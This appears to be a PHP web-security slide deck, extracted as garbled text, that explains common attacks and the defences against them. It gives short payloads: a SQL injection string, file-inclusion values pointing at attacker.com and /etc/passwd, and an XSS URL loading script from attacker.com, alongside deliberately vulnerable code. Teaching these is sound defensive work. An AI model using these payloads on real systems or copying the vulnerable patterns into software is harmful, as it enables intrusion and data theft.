PHP Security - Consulting

bemutefrogtownSecurity

Nov 18, 2013 (3 years and 10 months ago)

143 views

PHP  SECURITY  
It  doesn’t  have  to  be  an  oxymoron  
Attacks  
Against  you  


SQL  injec;on  


File  inclusion  


Code  execu;on  


Query  string  manipula;on  
Against  your  users  


Cross-­‐site  scrip;ng  (XSS)  


Cross-­‐site  request  forgery  
(CSRF)  
SQL  Injection
 
 
$
db
-­‐>query(“SELECT  *  FROM  users  WHERE  email=‘”  .  
$_POST[‘email’]  .  “’”);

What  happens  when  $_POST[‘email’]  is:  
x’  OR  ‘x’  =  ‘x

Your  query  is  now:  
SELECT  *  FROM  users  WHERE  email=‘x’  OR  ‘x’  =  ‘x’
File  Inclusion  
$color  =  'blue’;
if  (
isset
(  $_GET['COLOR']  )  )  $color  =  $_GET['COLOR'];
include(  $color  .  '.
php
'  );
 
What  if  $_GET[‘COLOR’]  is  “hVp://
aVacker.com
/hack”?  
 
What  if  $_GET[‘COLOR’]  is  “/
etc
/passwd%00”?  
 
Remote  code  inclusion  is  controlled  by  
allow_url_fopen
 
Code  Execution  


eval
()  


system(),  exec(),  
popen
()  
etc
 
 
These  are  poten;ally  dangerous  for  obvious  reasons  
Query  String  Manipulation  
Ci;  had  200,000  accounts  hacked  earlier  this  year  due  to  a  query  
string  manipula;on  aVack  
 
http://
www.citibank.com
/
account?id
=1234567890

All  the  aVackers  had  to  do  was  change  the  id  to  another  
number.  
Cross-­‐Site  Scripting  (XSS)  
Typical  PHP  form:  
<form  action="<?
php
 echo  $_SERVER['PHP_SELF']?>"  method="post">
 
Hack:  
http://
localhost
/
form.php
/%22%20method=%22POST%22%3E  
%3Cscript%20src=%22http://
attacker.com
/txss%22%3E%3C/script%3E
%3Cb%20a=%22
 
Decoded:  
http://
localhost
/
form.php
/"  method="POST">  
<script  
src
="http://
lerdorf.com
/
txss
"></script><b  a="
What  is  vulnerable  to  XSS?  


Direct  user  input:  $_GET,  $_POST,  $_REQUEST  


Easily  manipulated  input:  $_COOKIE  


Some  server  variables:  $_SERVER,  $ENV  
Cross-­‐Site  Request  Forgery  (CSRF)  
<
img
 
src
=“/mail/
delete.php?id
=153”  width=“1”  height=“1”  />
 
Protect  against  this  with  a  hash  of  some  sort  –  perhaps    
md5($username  .  “secret  hash  password”)  
 
This  makes  it  so  that  a  given  user  can  only  affect  their  own  
account  
 
For  further  protec;on,  use  the  session  ID  in  the  hash  
How  Do  I  Protect  My  Code?  


Input  valida;on  


Escaping  


Prepared  statements  /  PDO  


Access  control  
Input  Validation  
PHP  provides  a  “filter”  extension  that  can  help  with  input  
valida;on  –  otherwise,  you’re  probably  stuck  with  regular  
expressions  
 
<?
php
 
$email      =  
filter_input
(INPUT_POST,  'name',  FILTER_VALIDATE_EMAIL);  
$age          =  
filter_input
(INPUT_POST,  'age',  FILTER_VALIDATE_INT);      
$
url
         =  
filter_input
(INPUT_COOKIE,  '
url
',  FILTER_VALIDATE_URL);      
$
raw_msg
 =  
filter_input
(INPUT_POST,  '
msg
',  FILTER_UNSAFE_RAW);      
$options  =  
filter_input
(INPUT_GET,  'options',  FILTER_SANITIZE_SPECIAL_CHARS);  
 
$data  =  
filter_var
($
user_data
,  FILTER_SANITIZE_STRING);  
?>  
Escaping  


Lots  of  different  ways  variables  need  to  be  escaped:  


SQL  


Slashes  


HTML/XML  


URLs  


Shell  arguments  


File  paths  


Many,  many  others...  
OWASP  ESAPI  Encoders  
Cross-­‐plakorm  security  library  from  OWASP  (Open  Web  
Applica;on  Security  Project)  
 
$encoder  =  ESAPI::
getEncoder
();
$output  =  $encoder-­‐>
encodeForCSS
($
var
);  
$output  =  $encoder-­‐>
encodeForHTML
($
var
);

$output  =  $encoder-­‐>
encodeForHTMLAVribute
($
var
);

$output  =  $encoder-­‐>
encodeForJavaScript
($
var
);

$output  =  $encoder-­‐>
encodeForOS
($
var
);

$output  =  $encoder-­‐>
encodeForSQL
($
var
);

$output  =  $encoder-­‐>
encodeForURL
($
var
);

$output  =  $encoder-­‐>
encodeForXML
($
var
);

Prepared  Statements  /  PDO  


MySQLi
 extension  


mysqli_stmt
 class  


Kind  of  a  pain  to  use  


Helpful  to  use  a  wrapper  


PostgreSQL
 


pg_prepare
(),  
pg_execute
()  


Simple  and  easy  to  use  


PDO  


PDOStatement
 class  


Similar  to  
MySQLi
 extension  
Access  Control  


Ensure  that  scripts  are  not  able  to  access  data  or  objects  that  
the  user  should  not  have  access  to  


Ensure  that  the  user  ini;ated  the  access  request  (prevent  
CSRF)  


Ensure  that  the  request  is  sane  –  make  sure  that  the  request  
follows  the  established  business  rules  
exit()
Don’t  forget  to  exit()  aper  a  call  to  header(“Loca;on:  ...”)